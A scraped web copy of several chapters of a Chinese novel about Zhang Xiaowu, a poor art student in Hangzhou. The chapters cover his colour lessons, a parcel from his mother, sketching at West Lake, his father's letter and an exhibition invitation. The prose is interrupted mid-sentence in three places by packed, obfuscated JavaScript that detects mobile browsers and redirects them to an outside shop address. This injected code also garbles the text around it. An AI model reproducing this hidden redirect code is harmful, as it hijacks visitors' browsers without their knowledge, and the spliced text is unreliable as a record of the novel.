l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444024|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“但你的构图很好,造型很准,这是你的优势。”沈老师把画放下来,看着他,“色彩是可以练的,造型是天生的。你有天生的造型能力,这是很多人求都求不来的。所以不要灰心,慢慢来。” 张小五把沈老师的话记在了心里。造型是天生的,色彩是可以练的。他的造型能力已经在素描和速写中得到了验证,现在他要做的,就是把色彩练上去,练到和素描一样的水平。 下课后,沈老师叫住了他。 “张小五,你等一下。” 张小五停下来,走到讲台前。沈老师从抽屉里拿出一本小册子,递给他。 “这是我以前编的色彩教程,里面有一些基础的调色方法和配色原理。你拿回去看看,不懂的地方来问我。” 张小五接过那本小册子,翻开一看,里面密密麻麻地写满了笔记,还有手绘的色轮和配色表。字迹工整而细致,每一个知识点都配有图示和说明,有些地方还贴了便利贴,上面写着“重点”“常考”“易错”。 “沈老师,这是你以前用的?” “嗯,我上大学的时候编的,后来当老师又补充了一些。”沈老师说,“你拿去用,不用还。” 张小五把那本小册子抱在怀里,像抱着一样非常非常珍贵的东西。他知道这本小册子对沈老师来说可能不算什么,但对他来说是宝藏。里面那些调色方法和配色原理,是他花多少钱都买不到的。 “谢谢沈老师。” 沈老师摆了摆手,低下头继续整理画具。张小五转身走出画室,走到门口的时候,听见沈老师在身后说了一句:“张小五,你很有潜力,不要浪费了。” 他没有回头,但嘴角弯了一下。 晚上回到宿舍,张小五坐在书桌前,翻开沈老师给的那本小册子。他从第一页开始看,一个字一个字地读,一幅图一幅图地看。有些地方看不太懂,他就用铅笔在旁边做个记号,准备明天去问沈老师。 “张小五,你在看什么?”陆一鸣凑过来,看了一眼那本小册子,“沈老师的色彩教程?她居然把这个给你了?” “怎么了?” “这个可是沈老师的宝贝,她一般不给人看的。听说里面有她总结的独门配色方法,外面根本学不到。” 张小五看着手里的小册子,忽然觉得它更重了。这不只是一本教程,这是沈老师对他的信任和期望。她把这本小册子给他,意味着她觉得他值得,觉得他不会辜负这份信任。 他把小册子合上,放在枕头底下,和那两个平安符放在一起。 “张小五,你想家吗?”欧阳逸飞忽然问。 张小五愣了一下。想家?他不知道该怎么回答。他当然想家,想父亲,想那间四十平米的老房子,想那只橘色的胖猫,想巷口的包子铺,想那棵歪脖子老槐树。但他不敢想,因为他怕一想就会哭,一哭就会动摇,一动摇就会想回去。 “有点。”他说。 “我也想。”欧阳逸飞说,声音很轻,和他平时那种玩世不恭的语气完全不同,“我妈昨天打电话来,说她给我寄了一箱零食,里面有我喜欢吃的巧克力。我让她别寄了,她说不行,你在外面会饿着。我说学校有食堂,她说食堂的不好吃。我说我都十五岁了,她说你十五岁也是我妈的儿子。” 宿舍里安静了下来。陆一鸣低下头,假装在整理书桌。林子涵翻了一页书,但眼睛没有在看书页上的字。 张小五坐在床上,抱着枕头,想起了父亲。想起了父亲每天早上给他煮粥的样子,想起了父亲在他桌上放一杯热牛奶的样子,想起了父亲在火车站举着纸板接他的样子,想起了父亲说“小五,爸这辈子没什么本事,但爸有你这个儿子,是爸最大的福气”。 他忽然很想给父亲打电话。但他看了看时间,已经十一点了,父亲应该睡了。他把手机放回枕头底下,躺下来,盖上被子。 “睡吧。”他说,“明天还有课。” 陆一鸣关了灯。黑暗中,欧阳逸飞的呼吸声有点重,像是在忍着什么。林子涵翻了个身,床板嘎吱响了一声。张小五睁着眼睛,看着天花板。天花板是白色的,很干净,没有水渍,没有问号。 他伸出手,在黑暗中摸了摸枕头底下的平安福和小册子。硬硬的,软软的,纸的,布的,都在。他把手缩回被子里,闭上眼睛。 窗外的月光从窗帘的缝隙里挤进来,在地上画了一条细细的白线。那条白线从窗户一直延伸到床边,像一条通往远方的路。 张小五翻了个身,把脸埋进枕头里。枕头上还是那股陌生的味道,学校的味道,杭州的味道。他深吸一口气,把那口味道吸进肺里,然后慢慢地呼出来。 这一次,他没有在心里说任何话。他只是呼吸着,听着室友们的呼吸声,听着窗外的虫鸣,听着远处隐约传来的吉他声。然后他睡着了。 明天,还有新的课,新的画,新的挑战。明天,他还要继续画那个有大卫瞳孔的石膏像,继续调那些永远调不准的颜色,继续在这条路上走下去。不是因为他有多坚强,而是因为他已经走了太远,远到回不了头。 29. 北方的包裹 # 第二十九章北方的包裹 开学第一周,张小五没有收到任何包裹。陆一鸣收到了三个,林子涵收到了两个,欧阳逸飞收到了五个——其中一个是他妈妈寄的,一个是外婆寄的,一个是姑姑寄的,还有两个不知道是谁寄的,他拆开的时候自己都愣了一下。宿舍的桌上堆满了零食、衣服、书籍和各种各样的小玩意儿,像一个小型的百货商店。 张小五的桌面空空荡荡,除了画具和课本,什么都没有。他不觉得失落,因为他本来就没有期待。父亲不会寄包裹,不是不想,是不会。他不知道怎么去邮局,不知道怎么填单子,不知道怎么称重算邮费。他连智能手机都用不利索,更别说这些复杂的事情了。母亲倒是会寄,但她舍不得花钱。她每个月的工资要分成好几份——房租、生活费、药费、张小五的生活费,每一分钱都有它的去处,没有多余的留给快递费。 但张小五不在意。他从小就不在意这些。别人有的他没有,别人吃着他看着,别人穿着他羡慕着,但他从来不觉得这有什么不公平。每个人都有自己的路,他的路就是这样的——坑坑洼洼的,没有路灯,没有路标,但他走得踏实,走得心安。 周三下午,最后一节课结束的时候,班主任赵老师叫住了他。 “张小五,门卫室有你一个包裹,你去拿一下。” 张小五愣了一下。包裹?谁寄的?父亲不会寄,母亲舍不得寄,周扬不知道他的地址,陈雨桐也不知道。他想了半天也没想出来,干脆不想了,直接去门卫室。 包裹不大,是一个普通的纸箱,用黄色的胶带封着,上面贴着一张快递单。他看了一眼寄件人——王秀兰。母亲寄的。他以为自己看错了,揉了揉眼睛再看,没错,王秀兰,地址是南方那个他从来没去过的城市。 他抱着纸箱走出门卫室,在路边的花坛沿上坐下来,拆开包裹。胶带缠得很紧,他用指甲抠了半天才抠开。打开箱子,里面塞满了东西——一袋红枣、一袋核桃、一袋红薯干、两双棉袜、一条围巾、一封信。 信是母亲写的,字迹歪歪扭扭的,像小学生写的。王秀兰只上过小学三年级,很多字不会写,有的地方用拼音代替,有的地方画了圈圈。张小五一个字一个字地读,读得很慢,像是在破译一份密码。 “小五,妈想你了。这边的天气开始凉了,杭州应该也凉了,我给你织了一条围巾,你戴上。红枣和核桃是补脑的,你画画费脑子,多吃点。红薯干是你小时候爱吃的,妈自己晒的,不知道还甜不甜。妈在厂里挺好的,你别担心。你爸也挺好的,我给他打了电话,他说他按时吃药,按时复查,身体恢复得不错。你在学校要听老师的话,跟同学好好相处,别省钱,该花就花。妈下个月发了工资再给你寄。” 张小五把那封信看了两遍,然后折好,放进口袋里。他拿出那条围巾,灰色的,毛线的,针脚不太整齐,有的地方松有的地方紧,但很厚,很暖。他把围巾围在脖子上,绕了两圈,下巴埋进围巾里,闻到了一股淡淡的洗衣粉的味道。母亲洗过的,晒过的,从南方那座城市千里迢迢寄过来的。 他拿起一颗红枣,咬了一口。很甜,甜得他想哭。他又拿了一块红薯干,嚼了嚼,还是小时候的味道,软软的,糯糯的,甜丝丝的。他想起小时候,母亲坐在院子里晒红薯干,把煮熟的红薯切成一片一片的,摆在竹匾上,太阳好的时候晒两天就干了。他蹲在旁边,趁母亲不注意偷吃一片,被母亲发现了也不骂他,只是笑着说“等晒干了再吃,更甜”。 他抱着那个纸箱,走回宿舍。一路上,他把围巾围得紧紧的,下巴埋在里面,只露出一双眼睛。杭州的九月还不冷,但他不想摘下来,因为这是母亲织的,母亲洗的,母亲晒的,母亲寄的。它不只是一条围巾,它是一个拥抱,一个从南方那座城市跨越千山万水送过来的拥抱。 回到宿舍,他把纸箱放在桌上,把里面的东西一样一样地拿出来。红枣、核桃、红薯干、棉袜、围巾。陆一鸣凑过来,看到那些东西,眼睛亮了一下。 “你妈寄的?” “嗯。” “真好。”陆一鸣拿起一块红薯干,看了看,“这是什么?红薯干?我从来没吃过。” 张小五递给他一块。“你尝尝。” 陆一鸣咬了一口,嚼了嚼,眼睛瞪得更大了。“好吃!这是什么味道?又甜又糯,像糖一样。” “就是红薯做的,晒干了。” “你们那边的人都吃这个?” “小时候没什么零食,就吃这个。” 陆一鸣又拿了一块,嚼得津津有味。欧阳逸飞也凑过来,尝了一块,说“太甜了”,但还是一块接一块地吃。林子涵不爱吃甜的,只吃了一小块,说“不错”。张小五看着他们吃,心里有一种奇怪的感觉——不是骄傲,不是满足,是一种分享的快乐。这些东西是他母亲亲手做的,从千里之外寄来的,现在和他的室友们一起分享,好像母亲的爱也传递给了他们。 他把红枣分给每人一把,核桃每人几个,红薯干每人一堆。陆一鸣吃得满嘴都是红薯渣,欧阳逸飞把核桃夹开了用牙签挑着吃,林子涵把红枣放在杯子里泡水喝。宿舍里充满了食物的味道和笑声,像一个真正的家。 那天晚上,张小五给母亲打了一个电话。 “妈,包裹收到了。围巾很暖和,红枣很甜,红薯干他们都说好吃。” 王秀兰的声音很开心,开心得像个孩子。“真的?他们真的说好吃?” “真的,陆一鸣吃了好几块,欧阳逸飞说不甜但一直在吃。” 王秀兰笑了,笑得很大声,笑声通过手机传过来,在安静的宿舍里回荡。张小五把手机贴在耳朵上,听着母亲的笑声,嘴角弯了起来。 “妈,你别太累了。上班别老加班,该休息就休息。” “妈知道。你在学校好好的,别省钱,该花就花。妈下个月发了工资再给你寄。” “妈,不用寄了,够用了。” “够什么够,你正在长身体,要多吃点。妈给你寄红枣核桃,你每天吃几颗,补脑。” 张小五没有再推辞。他知道,对母亲来说,寄东西是一种表达爱的方式。她不会说“我爱你”,不会说“我想你”,她只会把爱藏在红枣里、核桃里、红薯干里、围巾里,然后打包寄过来。那些东西不值多少钱,但它们是她的全部。 挂了电话,张小五坐在床上,把那条围巾叠好,放在枕头旁边。他拿出画本,翻到新的一页,开始画。他画的是母亲坐在院子里晒红薯干的样子——阳光很好,竹匾上摆满了红薯片,母亲坐在小板凳上,手里拿着一把刀,正在切红薯。她的脸上带着笑,嘴角弯弯的,眼睛亮亮的。 画完之后,他在纸的右下角写了一行字。 “我妈寄来了包裹。红枣,核桃,红薯干,棉袜,围巾。她说她很好。我希望她说的都是真的。” 他把画本合上,放在枕头底下,和那封信放在一起。 九月的最后一周,张小五在色彩课上取得了第一次突破。 那天沈老师布置的作业是一幅静物写生——一个白色的瓷瓶、三个绿色的青苹果、一串紫色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444025|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的葡萄、一块黄色的桌布。张小五看着那组静物,脑子里飞快地构想着画面的构图、色调、明暗关系。他把颜料挤在调色盘上,拿起画笔,蘸了水,蘸了颜料,开始在纸上铺色。 这一次,他用了沈老师教的方法。先铺大色块,确定画面的整体色调。他用柠檬黄加白铺了桌布,用翠绿加黄铺了苹果,用永固紫加蓝铺了葡萄,用灰色加白铺了瓷瓶。大色块铺完之后,他开始用小笔触刻画细节,丰富画面的层次。他用了很多层颜色去叠加,让每一个物体都有了一种通透的、半透明的质感。 他画了整整一个下午。画完之后,他退后几步,看着自己的作品。这一次,他不再觉得颜色生硬了。那个白色的瓷瓶在光线下呈现出一种温润的质感,不是纯白的,而是带了一点淡淡的蓝色和粉色,是周围物体的环境色反射上去的。那些绿色的苹果不再是一团死绿,而是有了明暗变化,受光面偏黄,背光面偏蓝,看起来饱满而多汁。那串葡萄紫中带红,红中带蓝,每一颗都有自己的颜色,但放在一起又很和谐。 沈老师走过来,站在他身后,看了很久。 “这次好多了。”她说,语气里有一种难得的满意,“颜色比上次丰富了很多,过渡也自然了。你用了环境色,这个很好。很多同学画了一两年都不知道什么是环境色,你才学了一个月就懂了。” 张小五的心跳了一下。环境色,这个词他是在沈老师的小册子里看到的,他试着用了一下,没想到真的有用。 “但是这里。”沈老师指着瓷瓶的底部,“阴影太黑了,不够透气。阴影不是纯黑的,它也有颜色。你看,瓷瓶的阴影里带了一点黄色,因为桌布是黄色的。你把这一点加进去,画面就活了。” 张小五拿起画笔,蘸了一点柠檬黄,在阴影处轻轻点了一下。颜料在湿润的纸面上扩散开来,和原来的灰色融合在一起,阴影立刻变得透明了,像是能看见光穿过去。 “就是这样。”沈老师说,“记住这种感觉。” 张小五把那种感觉刻在了心里。不是技巧,不是方法,是一种感觉——颜色的感觉,光的感觉,生命的感觉。 下课后,沈老师把他的画留在讲台上,说要给其他班的学生看。张小五有点不好意思,但心里是高兴的。他走出画室的时候,脚步比平时轻了很多,像踩在棉花上。 回到宿舍,他把这个好消息告诉了父亲。他发了一条消息:“爸,沈老师今天表扬我了,说我的色彩进步很大。” 父亲回了一个字:“好。” 他又把这个好消息告诉了母亲。母亲没有回文字,只回了一个笑脸。他看着那个笑脸,觉得它比任何奖状都好看。 那天晚上,他躺在床上,把手表摘下来放在床头,把平安符从脖子上取下来放在枕头底下。他看着窗外的月亮,月亮已经缺了一角,不再是圆的了,但还是很亮,亮得像一盏灯。 他忽然想起父亲说过的一句话——“月亮不是每天都圆的,但它一直都在。” 他以前不懂这句话的意思。现在他懂了。父亲说的是他自己,也是生活。生活不是每天都圆满的,有缺憾,有裂缝,有不如意。但只要你在,只要你还在,那些缺憾和裂缝就不算什么。 他翻了个身,把被子拉到下巴,闭上眼睛。 窗外,有人在弹吉他。还是那首老歌,旋律很慢,很温柔。他不知道那首歌叫什么名字,但他觉得好听。好听到他想把它画下来,用颜色去表达那些音符,用线条去描绘那些旋律。 他没有画。他只是听着,听着听着就睡着了。 30. 西湖边的人 十月的一个周六,沈老师带着全班去西湖写生。 这是色彩课的外出实践,每个学期有两次,一次在春天,一次在秋天。沈老师说,画室里画的都是死物,石膏像、静物、照片,这些东西没有生命,不会呼吸,不会变化。真正的颜色在自然里,在光里,在水里,在风里。你要去湖边,去山上,去田野里,看那些活的颜色,画那些动的光影。 大巴车七点从学校出发,到西湖的时候还不到八点。清晨的西湖人不多,只有几个晨练的老头和遛狗的阿姨。湖面上有一层薄雾,朦朦胧胧的,像盖了一层轻纱。远处的山若隐若现,近处的柳树垂在水面上,叶子已经开始泛黄,风一吹就簌簌地往下掉。 沈老师让大家自由活动,找自己想画的角度,中午十二点在断桥集合。同学们三三两两地散开了,有的去湖边,有的去亭子里,有的爬上了宝石山。张小五背着画具,沿着湖边走了一段,找了一个人少的地方,在一棵大柳树下坐下来。 他面前是一片开阔的湖面,对面是宝石山,山顶上矗立着保俶塔,细长的塔身像一支指向天空的笔。湖面上有几只游船,慢悠悠地漂着,船上的游客在拍照,笑声随风飘过来,隐隐约约的。他支好画架,夹上画纸,把颜料挤在调色盘上,拿起画笔,开始画。 他画得很慢。不是因为犹豫,是因为他不想错过任何细节。湖水的绿不是一种绿,是很多种绿——近处的深绿,远处的浅绿,阳光下的翠绿,阴影里的墨绿。天空的蓝也不是一种蓝,是渐变的白蓝、湖蓝、群青,一层一层地往上推,推到山顶就变成了淡淡的紫色。保俶塔的灰也不是一种灰,是带着暖调的米灰和带着冷调的青灰交织在一起,像一幅素描。 他画着画着,忘记了时间,忘记了周围的一切。他的世界里只有颜色,只有笔触,只有那片湖水、那座山、那座塔。他不去想画得好不好,不去想沈老师会怎么评价,不去想这幅画能不能拿高分。他只是画,纯粹地画,自由地画,像一个孩子在水边玩泥巴一样快乐。 “画得真好。” 一个声音从身后传来。张小五吓了一跳,转过身,看见一个老头站在他身后,穿着一件灰色的夹克,戴着一顶棒球帽,手里拿着一根拐杖。老头弯着腰,眯着眼睛看他的画,脸上的表情很专注,像一个鉴赏家在欣赏一幅名画。 “谢谢。”张小五说。 “你是美院附中的?”老头指了指他的画架,上面贴着一个校徽。 “是。” “几年级?” “一年级。” 老头点了点头,直起腰,把拐杖在地上顿了一下。“你叫什么名字?” “张小五。” “张小五。”老头把名字重复了一遍,像是在品味什么,“你的颜色用得很大胆,不像一年级的学生。很多一年级的学生不敢用纯色,怕太跳,怕不和谐。你不一样,你用得很自信。” 张小五不知道该怎么回答。他从来没有想过自己“自信”,他只是在画他看到的东西,感觉到的东西。 老头在旁边的石凳上坐下来,把拐杖靠在一边,从口袋里掏出一包烟,抽出一根,叼在嘴上,但没有点着。 “我年轻的时候也画画。”老头说,眼睛看着湖面,“画了二十多年,后来不画了。” “为什么?” “因为画不好。”老头笑了一下,笑容很短,一下子就没了,“不是技巧的问题,是心的问题。我的心不静,画出来的东西都是浮躁的。后来我想,与其画一堆垃圾,不如不画。” 张小五沉默了一会儿。“那您现在还画吗?” “不画了。但喜欢看,看别人画。每天早晨来西湖边走走,看看那些画画的人,心里就舒服了。” 老头站起来,拍了拍裤子上的灰,拿起拐杖。“你继续画吧,不打扰你了。张小五,记住,画画不是给别人看的,是给自己的。你心里有什么,画里就有什么。” 张小五看着老头的背影,慢慢地走远了,消失在了柳树的后面。他低下头,看着自己的画。画上的西湖还差很多,保俶塔的塔尖还没画完,湖面的倒影还没处理,近处的荷叶还没勾勒。他拿起画笔,继续画。这一次,他画得更慢了,每一笔都像是在跟这片湖水对话,跟这座山对话,跟这座塔对话。他要把老头说的那句话画进去——画画不是给别人看的,是给自己的。 中午十二点,他收拾好画具,走到断桥。沈老师和同学们已经在那里了,大家把画架支在一起,互相看作品,评头论足。有人说这张颜色好,有人说那张构图妙,有人说这个人的笔触太狂野,有人说那个人的调子太灰暗。 沈老师一幅一幅地看,看完之后只说了一句话:“今天所有人都画得不错,下次继续。” 张小五把画收好,背在肩上,跟着同学们走向公交站。他走在队伍的最后面,看着前面那些背着画架、提着颜料箱的身影,忽然觉得他们像一群迁徙的鸟,每年春天和秋天都会飞到西湖边,在这里停留,在这里画画,在这里留下自己的痕迹。他以前从来没有想过,有一天自己也会成为这群鸟中的一只。 回到学校已经是下午四点多了。张小五把画具放回宿舍,洗了手,去食堂吃饭。周末的食堂人很少,只有几个留校的学生在吃饭,电视开着,在播一部老电影。他端着托盘找了一个位置坐下,一边吃饭一边看电影。电影是黑白的,讲的是一个画家的故事,画家很穷,买不起颜料,就用泥土和植物自己制作颜色。他把红色的泥土磨成粉,把绿色的叶子捣成汁,把黑色的木炭碾成末,然后混合在一起,调出各种各样的颜色。 张小五看着那部电影,想起了自己。他也是这样,买不起颜料,就用三原色调出所有的颜色。他不知道那个画家后来怎么样了,电影还没放完他就吃完了饭,但他记住了那个画面——画家坐在简陋的画室里,手里拿着一块石头,在地上磨着红色的粉末,阳光从窗户照进来,照在他身上,把他整个人都染成了金色。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444026|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晚上,张小五在宿舍里把那幅西湖的画拿出来,放在桌上,看了很久。他觉得还缺点什么,缺一种说不清的东西。不是颜色,不是构图,不是技法,而是一种感觉。他想起老头说的话——“你心里有什么,画里就有什么。”他画的时候心里有什么?有西湖的美,有清晨的宁静,有画画的快乐。但这些还不够。他心里的东西太多了——有对父亲的牵挂,有对母亲的思念,有对未来的迷茫,有对过去的回忆。这些东西没有画进去,所以这幅画看起来很美,但没有重量。 他拿起一支小号画笔,蘸了一点深蓝色,在保俶塔的旁边加了一个小小的点。那个点很小,小到几乎看不见,但它是整幅画里最深的一个点,像一个瞳孔,像一扇窗户,像一个答案。他退后几步,看着那个点,忽然觉得整幅画活了过来。不是因为那个点本身,而是因为那个点让他想起了父亲的眼睛。父亲的眼睛也是这样,深深的,黑黑的,里面有很多东西,但从来不说什么。 他把画收好,放在画筒里。这张画他不打算交作业,他要留着,寄给父亲。 第二天,他去邮局把画寄了出去。他买了一个圆筒形的硬纸盒,把画卷好放进去,封上口,贴上邮票,写上家里的地址。邮局的工作人员说,大概要一个星期才能到。他付了邮费,十五块钱,不贵,但够他吃两顿饭了。 走出邮局的时候,他看见门口有一个卖糖葫芦的老头,扛着插满糖葫芦的草靶子,红彤彤的山楂在阳光下闪闪发光。他买了两串,一串自己吃,一串带回宿舍给室友们分。糖葫芦很酸,酸得他眯起了眼睛,但里面的糖衣很甜,甜得他忍不住又咬了一口。 他走在回学校的路上,嘴里嚼着糖葫芦,手里提着画筒,脖子上围着母亲织的围巾。十月的杭州,天高云淡,风里带着桂花的香味。他不知道那些桂花树在哪里,但香味无处不在,甜丝丝的,像无数颗看不见的糖在空中飘散。 他忽然想起一件事——今天是父亲的生日。他差点忘了。他站在路边,拿出手机,给父亲发了一条消息:“爸,生日快乐。我给你寄了一幅画,是西湖,我画的。你收到就知道西湖长什么样了。” 过了一会儿,父亲回了一条:“好。等你回来,给爸画一幅北城的。” 张小五看着那条消息,笑了。北城的西湖?北城没有西湖,只有一条臭水沟,叫护城河。但他知道父亲说的不是湖,是家。父亲想让他画的是家——那个四十平米的老房子,那棵歪脖子老槐树,那只橘色的胖猫,那些掉了墙皮的墙和有裂纹的茶几。那些东西不美,但它们是家,是父亲的全部。 他回了一个字:“好。” 然后他把手机放进口袋,加快了脚步。下午还有一节速写课,他不想迟到。周老师说,迟到的人跑五圈,他已经见识过了。上次欧阳逸飞迟到了两分钟,被罚跑五圈,回来的时候脸白得像纸,腿抖得像筛糠,画了一下午都没画出一张像样的速写。 从那以后,再也没有人迟到了。 31. 家书 画寄出去之后的第七天,张小五收到了父亲的回信。不是快递,不是短信,是信。一封真正的、贴着邮票、盖着邮戳、写在方格纸上的信。张小五从信箱里取出那个白色的信封时,心跳了一下。他已经很久没有收到过信了,或者说,他从来没有收到过信。以前有什么事都是打电话,父亲的声音沙哑而短促,像一台老旧的收音机,信号时好时坏,说着说着就没声了,然后突然又冒出一句“行了,挂了吧”。父亲不是不想说话,是不会说。电话那头漫长的沉默比任何话语都沉重,压得张小五喘不过气来。 信不一样。信是写下来的东西,可以反复看,可以藏在枕头底下,可以在睡不着的时候摸出来,借着走廊的灯光再读一遍。他撕开封口,抽出里面的信纸。纸是那种最便宜的方格本上撕下来的,边缘参差不齐,上面有被水浸过的痕迹,字迹歪歪扭扭的,有些字写错了又涂掉,在旁边重新写,但每一笔都写得很用力。 “小五,画收到了。爸看了很多遍。西湖真好看,比电视上还好看。你画得比电视上还好看。爸把它挂在客厅墙上了,就是你画的那面墙。你妈上次来的时候也看了,她说你画得好,比她见过的所有画都好。爸最近身体还行,按时吃药,按时复查,医生说恢复得不错。你不用惦记爸,好好读书。天冷了多穿衣服,别冻着。爸下个月去复查,到时候再给你打电话。” 张小五把那封信看了三遍。第一遍看内容,第二遍看那些涂改的地方——父亲写“西湖”的时候写成了“西胡”,涂掉重写;写“复查”的时候写成了“复杳”,又涂掉重写;写“惦记”的时候写成了“店记”,想了半天才改过来。第三遍他看的是笔迹,那些字写得歪歪扭扭的,像刚学会写字的小学生,但每一笔都写得很认真,横平竖直,撇捺分明,像是在完成一件很重要的事情。他想起父亲握笔的样子——那双粗糙的、布满老茧的、曾经握过瓦刀和钢筋的手,握着那支细细的圆珠笔,趴在茶几上,一笔一划地写着。客厅的灯光昏黄,照在他花白的头发上,他的背弯着,肩膀一高一低,像一幅画。 张小五把信折好,放进口袋里,和那些纸条放在一起。他的口袋里已经有很多纸条了——母亲的汇款单,李老师的推荐信,方老师的电话号码,陈雨桐送的画展门票,周扬妈妈写的便签。每一张纸条都是一束光,在他黑暗的日子里照亮他前行的路。这封信是新的光,不是最亮的,但是最暖的。 他把手伸进口袋,摸到那封信的边角,硬硬的,扎手。 中午吃饭的时候,他给母亲打了一个电话。 “妈,我爸给我写信了。” “我知道。”王秀兰的声音有点得意,“他写的时候我就在旁边。他写了半天,写废了好几张纸。我让他用手机发短信,他说短信太短了,说不完。” 张小五笑了。短信太短了,说不完。父亲那些话,用短信发可能也就几十个字,但他觉得说不完。他要写在纸上,要贴邮票,要寄出去,要等儿子收到,要等儿子看到。这个过程很长,但很郑重,像一种仪式。 “妈,你什么时候放假?” “过年的时候。今年过年早,一月底就过年了。妈请了几天假,回去看你和你爸。” “好。妈,你路上小心。” “知道了。你好好吃饭,别省。” 挂了电话,张小五坐在食堂里,看着窗外的阳光。阳光很好,照在食堂的白色地砖上,反射出一片刺眼的光。他忽然想起一件事——过年的时候,他们一家三口要在一起吃年夜饭。这是多少年来的第一次?他想了想,大概有八九年了。自从父母离婚后,他就再也没有和父母一起过过年。每年的年夜饭都是他和父亲两个人,冷冷清清的,一两个菜,一碗饺子,电视开着,但谁都不看。 今年不一样了。今年母亲要回来,今年他们一家三口要坐在一起,吃一顿热热闹闹的年夜饭。张小五想到这里,嘴角弯了一下。他开始期待过年了,像一个真正的小孩一样。 十月底,张小五在速写课上遇到了一件让他意外的事。 周老师让他们画人物动态速写,两个模特,一男一女,每隔三分钟换一个姿势。张小五画得很快,铅笔在纸面上沙沙地响,三分钟一张,三分钟一张,不到半个小时就画了十几张。他画完之后,周老师走过来,拿起他的速写本,一页一页地翻。翻完之后,他没有像往常那样说“好”或者“还行”,而是说了一句让张小五意外的话。 “你下课后到我办公室来一下。” 张小五的心紧了一下。他不知道周老师找他干什么,是画得不好要批评?还是有什么别的事?他想了半天也没想出来,干脆不想了,继续画。 下课铃响了,他把画具收拾好,走到周老师的办公室。办公室在教学楼的一层,门半开着,他敲了敲门,推门进去。周老师坐在办公桌后面,手里拿着张小五的速写本,正在看。他的桌上堆满了书和画册,墙上贴满了素描和速写,空气中有一种松节油和纸张混合的味道。 “坐。”周老师指了指旁边的椅子。 张小五坐下来,把书包放在脚边。 周老师把他的速写本翻到其中一页,转过来给他看。“这张,你画的是哪个姿势?” 张小五看了一眼,是一个模特侧身站立的姿势,右手搭在腰上,左手自然下垂,重心落在右腿上。他记得这个姿势,模特大概保持了三分钟。 “这张画得很好。”周老师说,“不是技法好,是观察好。你看这条线。”他用手指点了点模特背部的一条弧线,“从肩膀到臀部到小腿,这条线你画得很准,但不是那种死板的准,是活的准。你能感觉到这个人的重量,重心在哪只脚上,哪边的肌肉在用力,哪边的肌肉在放松。这不是技巧的问题,是观察的问题。你的眼睛比你的手厉害。” 张小五不知道该说什么。他从来没有想过自己的眼睛厉害,他只是在看,认真地看,拼命地看。他怕自己画错,怕画出来的东西不像,怕辜负了那些铅笔和纸张。 “我找你来的目的,不是夸你。”周老师把速写本合上,还给他,“是有一件事想问你。你想不想参加明年的‘全国中学生美术作品展’?” 张小五愣了一下。全国中学生美术作品展,他听说过。那是国内最高水平的中学生美术比赛,每年举办一次,参赛的人很多,获奖的人很少。能在这个展览上获奖,基本上就等于一只脚踏进了国内最好的美术学院。 “我……可以吗?”他的声音有点虚。 “可以不可以,不是你说了算,也不是我说了算,是你的画说了算。”周老师从抽屉里拿出一张报名表,递给他,“你回去准备一幅作品,主题不限,形式不限,尺寸不限。十一月底之前交给我,我帮你看看,如果可以,就送展。” 张小五接过那张报名表,手在微微发抖。报名表是白色的,上面印着黑色的字——“全国中学生美术作品展参赛登记表”。他把这张纸和那些纸条放在一起,口袋又重了一些。 “周老师,谢谢你。” “别谢我,谢你自己。”周老师摆了摆手,低下头继续看他的书。 张小五站起来,走出办公室。走廊里很安静,大部分人都走了。夕阳从窗户照进来,把整条走廊染成了橘红色。他走在橘红色的光里,影子被拉得很长很长,像一个巨人。他忽然想起周扬说过的一句话——“张小五,你他妈太牛了!”他不知道周扬说的是不是真的,但他想试着相信一次。 接下来的一个月,张小五把所有的时间都花在了那幅参赛作品上。 他想了很久,不知道该画什么。主题不限,形式不限,尺寸不限。听起来很自由,但自由有时比限制更让人不知所措。限制至少给你一个方向,自由什么都没有,只有一片茫茫的空白,像一块没有边际的画布,你站在中间,不知道该往哪里走。 他画了好几幅草图,都不满意。第一幅画的是西湖,太普通了,画西湖的人太多了,他的西湖没有什么特别的。第二幅画的是父亲,太私人了,他不知道别人能不能看懂。第三幅画的是画室,太平淡了,画室就是画室,石膏像、画架、颜料,这些东西每天都在看,没什么好画的。 他把那些草图一张一张地撕掉,扔进垃圾桶。陆一鸣看着垃圾桶里越来越多的纸团,忍不住说:“张小五,你是不是太焦虑了?还有时间呢,慢慢想。” 张小五知道他说得对,但他控制不住自己。他太想画好了,太想证明自己了,太想让周老师、沈老师、父亲、母亲、所有人看到他的画时,眼睛亮一下。这种想法像一把火,在他心里烧得越来越旺,烧得他坐立不安,睡不着觉,吃不下饭。 有一天晚上,他躺在床上,翻来覆去地睡不着。他盯着天花板,看着窗外的月光在天花板上移动,从左边移到右边,从明亮变得暗淡。他忽然想起一件事——父亲寄来的那封信。信里有一句话:“你画得比电视上还好。”父亲没有见过什么好画,他见过的最好的画就是儿子画的那些。在他眼里,张小五的画比电视上的还好,比博物馆里的还好,比全世界所有的画都好。这不是评价,是爱。父亲不懂艺术,但他懂儿子。 张小五从床上坐 